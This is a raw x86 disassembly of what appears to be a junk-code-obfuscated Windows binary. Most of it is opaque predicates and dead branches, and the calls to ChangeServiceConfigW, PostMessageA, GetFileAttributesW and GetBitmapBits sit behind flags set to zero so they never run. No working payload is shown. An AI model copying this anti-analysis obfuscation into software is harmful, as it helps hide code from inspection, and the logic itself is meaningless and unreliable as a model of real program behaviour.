test eax, eax
je 0x4682d2
push 0
push 0x147d
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
mov dword [ebp - 0x2b3c], 0xfab8c3ad
mov dword [ebp - 0x3cc], 0x60477862
mov dword [ebp - 0xd60], 0x8fbfc75d
mov dword [ebp - 0x23b4], 0x72e7eb66
mov dword [ebp - 0x3cc], 0
jmp 0x468313
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0x1b
jne 0x4684d0
mov dword [ebp - 0x93c], 0
push 1
lea ecx, [ebp - 0x26e8]
call fcn.0042f3cf
mov dword [ebp - 0x860], 0
jmp 0x468350
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
cmp dword [ebp - 0x860], 1
jge 0x468372
push dword [ebp - 0x860]
lea ecx, [ebp - 0x26e8]
call fcn.0042f4bd
mov dword [eax], 0x48bbe26b
jmp 0x468343
cmp dword [ebp - 0x3cc], 0
jne 0x4683f3
cmp dword [ebp - 0x93c], 1
jg 0x468396
mov eax, 0x86335c0d
test eax, eax
jne 0x468396
and dword [ebp - 0xd58], 0
jmp 0x4683a0
mov dword [ebp - 0xd58], 1
mov eax, dword [ebp - 0xd58]
sub eax, 4
cmp eax, dword [ebp - 0x93c]
jne 0x4683bd
mov dword [ebp - 0x1c04], 1
jmp 0x4683c4
and dword [ebp - 0x1c04], 0
mov eax, dword [ebp - 0x1c04]
mov dword [ebp - 0xd60], eax
mov eax, dword [ebp - 0xd60]
neg eax
cmp eax, dword [ebp - 0x3cc]
jg 0x4683ec
mov dword [ebp - 0x1c0c], 1
jmp 0x4683f3
and dword [ebp - 0x1c0c], 0
push 0
lea ecx, [ebp - 0x26e8]
call fcn.0042f4bd
cmp dword [eax], 0xc2e3a4c6
jae 0x468414
mov dword [ebp - 0xd68], 1
jmp 0x46841b
and dword [ebp - 0xd68], 0
cmp dword [ebp - 0xd68], 0xfffffff7
jne 0x468430
mov dword [ebp - 0xa54], 1
jmp 0x468437
and dword [ebp - 0xa54], 0
push 0
lea ecx, [ebp - 0x26e8]
call fcn.0042f4bd
mov ecx, dword [ebp - 0xa54]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa54]
neg eax
cmp eax, dword [ebp - 0x93c]
jle 0x468468
mov dword [ebp - 0x1c14], 1
jmp 0x46846f
and dword [ebp - 0x1c14], 0
cmp dword [ebp - 0x1c14], 0xa9c79ebe
jb 0x46848d
mov eax, 0xf3b0
test eax, eax
jne 0x46848d
and dword [ebp - 0xd70], 0
jmp 0x468497
mov dword [ebp - 0xd70], 1
cmp dword [ebp - 0xd70], 0
jle 0x4684ac
mov dword [ebp - 0x1c1c], 1
jmp 0x4684b3
and dword [ebp - 0x1c1c], 0
mov eax, dword [ebp - 0x1c1c]
inc eax
mov dword [ebp - 0x23b4], eax
lea ecx, [ebp - 0x26e8]
call fcn.0042f4a1
jmp 0x468306
mov byte [ebp - 0x25a], 0
movzx eax, byte [ebp - 0x25a]
test eax, eax
je 0x4684f8
push 0
push 0
push 0x22f1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
mov dword [ebp - 0x2464], 0xc58fb770
mov dword [ebp - 0x5c], 4
mov dword [ebp - 0xb28], 0x7f8b4dfe
mov dword [ebp - 0xd98], 1
mov dword [ebp - 0x558], 0
jmp 0x468536
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 1
jge 0x468552
mov eax, dword [ebp - 0x558]
mov dword [ebp + eax*4 - 0x228], 1
jmp 0x468529
mov byte [ebp - 0x25c], 0
movzx eax, byte [ebp - 0x25c]
test eax, eax
je 0x46856c
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 0x5c], 0
jmp 0x46857c
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x4687c6
mov dword [ebp - 0x130], 0xfffffff6
mov eax, dword [ebp - 0x5c]
cmp dword [ebp + eax*4 - 0x228], 0
jne 0x468633
cmp dword [ebp - 0x130], 0x9689
je 0x4685b9
mov dword [ebp - 0xd78], 1
jmp 0x4685c0
and dword [ebp - 0xd78], 0
mov eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0xd78]
test eax, eax
jg 0x4685da
mov dword [ebp - 0x1c24], 1
jmp 0x4685e1
and dword [ebp - 0x1c24], 0
mov eax, dword [ebp - 0x1c24]
sub eax, dword [ebp - 0x130]
cmp eax, 0xcd9d75
jl 0x468600
mov dword [ebp - 0xd80], 1
jmp 0x468607
and dword [ebp - 0xd80], 0
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0x228]
mov dword [ebp - 0x1c2c], eax
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x1c2c]
mov dword [ebp + eax*4 - 0x228], ecx
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0xb28]
mov eax, dword [ebp - 0xb28]
imul eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0x130]
jge 0x468654
mov dword [ebp - 0xd88], 1
jmp 0x46865b
and dword [ebp - 0xd88], 0
cmp dword [ebp - 0xd88], 0
je 0x468670
mov dword [ebp - 0x1c34], 1
jmp 0x468677
and dword [ebp - 0x1c34], 0
mov eax, dword [ebp - 0x1c34]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x2b40], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0x228]
mov dword [ebp - 0x2b48], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0x228]
sub eax, 5
cmp dword [ebp - 0xb28], eax
jg 0x4686c0
mov dword [ebp - 0xd90], 1
jmp 0x4686c7
and dword [ebp - 0xd90], 0
mov eax, dword [ebp - 0xd90]
neg eax
cmp eax, 0x4b834283
jne 0x4686e2
mov dword [ebp - 0x1c3c], 1
jmp 0x4686e9
and dword [ebp - 0x1c3c], 0
mov eax, dword [ebp - 0x1c3c]
mov dword [ebp - 0xd98], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0x228]
cmp dword [ebp - 0xd98], eax
jle 0x468713
mov dword [ebp - 0x1c44], 1
jmp 0x46871a
and dword [ebp - 0x1c44], 0
cmp dword [ebp - 0x1c44], 0xadeb
jle 0x468739
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x468739
mov dword [ebp - 0xda0], 1
jmp 0x468740
and dword [ebp - 0xda0], 0
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0x228]
cmp dword [ebp - 0xda0], eax
jne 0x46875e
mov dword [ebp - 0x1c4c], 1
jmp 0x468765
and dword [ebp - 0x1c4c], 0
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0x1c4c]
je 0x468789
xor eax, eax
je 0x468789
cmp dword [ebp - 0x130], 0
je 0x468789
mov dword [ebp - 0xda8], 1
jmp 0x468790
and dword [ebp - 0xda8], 0
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp + eax*4 - 0x228]
cmp dword [ebp - 0xda8], eax
jne 0x4687ae
mov dword [ebp - 0x1c54], 1
jmp 0x4687b5
and dword [ebp - 0x1c54], 0
mov eax, dword [ebp - 0x1c54]
mov dword [ebp - 0x130], eax
jmp 0x468575
mov dword [ebp - 0x1c70], 0x8afa2faf
or dword [ebp - 0x27a8], 0xffffffff
or dword [ebp - 0x27a4], 0xffffffff
or dword [ebp - 0x27a0], 0xffffffff
or dword [ebp - 0x279c], 0xffffffff
lea ecx, [ebp - 0xb59]
call fcn.0042f4cc
push eax
lea eax, [ebp - 0x2798]
push eax
lea eax, [ebp - 0x27a8]
push eax
lea ecx, [ebp - 0x32e8]
call fcn.0042f4cf
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3278]
call fcn.0042f47b
mov dword [ebp - 0x6f0], 0x184c506d
mov dword [ebp - 0x6f0], 3
jmp 0x468844
mov eax, dword [ebp - 0x6f0]
dec eax
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x6f0], 0
jl 0x468886
mov byte [ebp - 0x25e], 0
movzx eax, byte [ebp - 0x25e]
test eax, eax
je 0x468884
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x1fa2
push 0x36d
push 0x1730
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
jmp 0x468837
lea ecx, [ebp - 0x3278]
call fcn.0042f4a1
mov dword [ebp - 0x580], 0x2ee6d058
mov dword [ebp - 0xf4], 0xffffffff
mov dword [ebp - 0x7b0], 0xbf8b243e
mov dword [ebp - 0x568], 0x534fd39e
mov dword [ebp - 0x23d4], 1
mov dword [ebp - 0x23dc], 0x2300b631
mov dword [ebp - 0x560], 0
jmp 0x4688e6
mov eax, dword [ebp - 0x560]
inc eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 2
jge 0x468902
mov eax, dword [ebp - 0x560]
mov dword [ebp + eax*4 - 0x8a4], 0x869b
jmp 0x4688d9
mov dword [ebp - 0xf4], 0
jmp 0x46891b
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0
jne 0x468b4c
mov dword [ebp - 0x944], 0xd393
mov dword [ebp - 0x2714], 1
mov dword [ebp - 0x2710], 1
mov dword [ebp - 0x270c], 1
mov dword [ebp - 0x2708], 1
mov dword [ebp - 0x1c74], 0xc4dd
mov dword [ebp - 0x23cc], 0xca4f0670
mov eax, dword [ebp - 0x944]
sub eax, 0x5542
mov dword [ebp - 0x23bc], eax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x23c4], eax
mov eax, dword [ebp - 0x944]
dec eax
mov dword [ebp - 0x944], eax
mov eax, dword [ebp - 0x23bc]
cmp eax, dword [ebp - 0x23c4]
je 0x4689b2
mov dword [ebp - 0xdb0], 1
jmp 0x4689b9
and dword [ebp - 0xdb0], 0
imul eax, dword [ebp - 0xdb0], 0xfff7
cmp eax, 1
jne 0x4689d4
mov dword [ebp - 0x1c5c], 1
jmp 0x4689db
and dword [ebp - 0x1c5c], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x1c5c], eax
jl 0x4689f5
mov dword [ebp - 0xdb8], 1
jmp 0x4689fc
and dword [ebp - 0xdb8], 0
mov eax, dword [ebp - 0xf4]
imul eax, dword [ebp - 0xdb8]
test eax, eax
je 0x468a22
cmp dword [ebp - 0xf4], 0
je 0x468a22
mov dword [ebp - 0x1c64], 1
jmp 0x468a29
and dword [ebp - 0x1c64], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2714]
cmp dword [ebp - 0x1c64], eax
jne 0x468a4a
mov dword [ebp - 0xdc0], 1
jmp 0x468a51
and dword [ebp - 0xdc0], 0
mov eax, dword [ebp - 0x1c74]
cmp dword [ebp - 0xdc0], eax
jle 0x468a6b
mov dword [ebp - 0x1c6c], 1
jmp 0x468a72
and dword [ebp - 0x1c6c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8a4]
cmp dword [ebp - 0x1c6c], eax
jle 0x468a93
mov dword [ebp - 0xdc8], 1
jmp 0x468a9a
and dword [ebp - 0xdc8], 0
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0xdc8]
jne 0x468ab4
mov dword [ebp - 0xa5c], 1
jmp 0x468abb
and dword [ebp - 0xa5c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xa5c]
mov dword [ebp + eax - 0x2714], ecx
mov eax, dword [ebp - 0x1c74]
cmp dword [ebp - 0xa5c], eax
jg 0x468ae7
mov dword [ebp - 0xdd0], 1
jmp 0x468aee
and dword [ebp - 0xdd0], 0
cmp dword [ebp - 0xdd0], 0xfffffff6
jbe 0x468b03
mov dword [ebp - 0x1c7c], 1
jmp 0x468b0a
and dword [ebp - 0x1c7c], 0
mov eax, dword [ebp - 0x1c7c]
mov dword [ebp - 0x7b0], eax
mov eax, dword [ebp - 0x7b0]
add eax, 0x21fac6d1
cmp eax, 0xbc69
jl 0x468b34
mov dword [ebp - 0xdd8], 1
jmp 0x468b3b
and dword [ebp - 0xdd8], 0
mov eax, dword [ebp - 0xdd8]
mov dword [ebp - 0x23cc], eax
jmp 0x46890e
mov dword [ebp - 0x7b0], 0xd050b7f4
cmp dword [ebp - 0x7b0], 0xfffffff7
je 0x468b6b
mov dword [ebp - 0xde0], 1
jmp 0x468b72
and dword [ebp - 0xde0], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x8a4]
cmp dword [ebp + eax - 0x8a4], ecx
jg 0x468ba0
cmp dword [ebp - 0x568], 0
jne 0x468ba0
and dword [ebp - 0x1c84], 0
jmp 0x468baa
mov dword [ebp - 0x1c84], 1
mov eax, dword [ebp - 0x568]
cmp dword [ebp - 0x1c84], eax
jne 0x468bc4
mov dword [ebp - 0x1c8c], 1
jmp 0x468bcb
and dword [ebp - 0x1c8c], 0
mov eax, dword [ebp - 0xde0]
cmp eax, dword [ebp - 0x1c8c]
je 0x468be5
mov dword [ebp - 0x1c94], 1
jmp 0x468bec
and dword [ebp - 0x1c94], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8a4]
cmp dword [ebp - 0x1c94], eax
jge 0x468c0d
mov dword [ebp - 0xe4c], 1
jmp 0x468c14
and dword [ebp - 0xe4c], 0
mov eax, dword [ebp - 0x568]
imul eax, dword [ebp - 0xe4c]
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 0xf4]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x8a4]
mov edx, dword [ebp - 0xf4]
push 4
pop esi
shl esi, 0
add edx, dword [ebp + esi - 0x8a4]
imul ecx, edx
imul eax, ecx
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x8a4]
jl 0x468c6e
mov dword [ebp - 0xdf0], 1
jmp 0x468c75
and dword [ebp - 0xdf0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8a4]
cmp dword [ebp - 0xdf0], eax
je 0x468c9f
cmp dword [ebp - 0x23d4], 0
je 0x468c9f
mov dword [ebp - 0x15a8], 1
jmp 0x468ca6
and dword [ebp - 0x15a8], 0
mov eax, dword [ebp - 0x15a8]
mov dword [ebp - 0x23dc], eax
mov dword [ebp - 0x2b50], 0
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x478], 0xd34caa8e
mov dword [ebp - 0x410], 0xfffffff6
mov dword [ebp - 0x2b58], 0xfffffffd
mov dword [ebp - 0x6f8], 0
jmp 0x468cfa
mov eax, dword [ebp - 0x6f8]
inc eax
mov dword [ebp - 0x6f8], eax
cmp dword [ebp - 0x6f8], 1
jge 0x468d16
mov eax, dword [ebp - 0x6f8]
mov dword [ebp + eax*4 - 0x288], 0x4a8c6a53
jmp 0x468ced
mov dword [ebp - 0x20], 0
jmp 0x468d26
cmp dword [ebp - 0x20], 0
jl 0x468e55
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x288]
cmp dword [ebp - 0x20], eax
jl 0x468d4b
mov dword [ebp - 0xdf8], 1
jmp 0x468d52
and dword [ebp - 0xdf8], 0
cmp dword [ebp - 0xdf8], 1
jae 0x468d67
mov dword [ebp - 0x1b70], 1
jmp 0x468d6e
and dword [ebp - 0x1b70], 0
mov eax, dword [ebp - 0x1b70]
add eax, 0x6b6c
cmp dword [ebp - 0x20], eax
jne 0x468d8a
mov dword [ebp - 0xe00], 1
jmp 0x468d91
and dword [ebp - 0xe00], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x288]
cmp eax, dword [ebp - 0xe00]
jg 0x468db2
cmp dword [ebp - 0x20], 0
jne 0x468db2
mov dword [ebp - 0x15b0], 1
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x15b0]
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x288]
cmp dword [ebp - 0x478], eax
jge 0x468dea
mov dword [ebp - 0x410], 0
jmp 0x468e6e
cmp dword [ebp - 0x410], 0x1d
jg 0x469036
mov dword [ebp - 0x570], 0
jmp 0x468e94
cmp dword [ebp - 0x570], 3
jge 0x468eb0
mov eax, dword [ebp - 0x570]
mov dword [ebp + eax*4 - 0x2494], 0
jmp 0x468e87
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2494]
mov dword [ebp - 0x2b60], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x288]
cmp dword [ebp - 0x478], eax
jge 0x468ee4
mov dword [ebp - 0xeb8], 0x6eff3de0
push 1
lea ecx, [ebp - 0x8c8]
call fcn.0042f3cf
mov dword [ebp - 0xe60], 0x821f997e
mov dword [ebp - 0x1d20], 0xfffffff7
mov dword [ebp - 0x240c], 6
mov dword [ebp - 0x114], 0
jmp 0x469084
cmp dword [ebp - 0x114], 1
jge 0x4690a6
push dword [ebp - 0x114]
lea ecx, [ebp - 0x8c8]
call fcn.0042f4bd
mov dword [eax], 0x41e55969
jmp 0x469077
mov dword [ebp - 0x114], 0
jmp 0x4690bf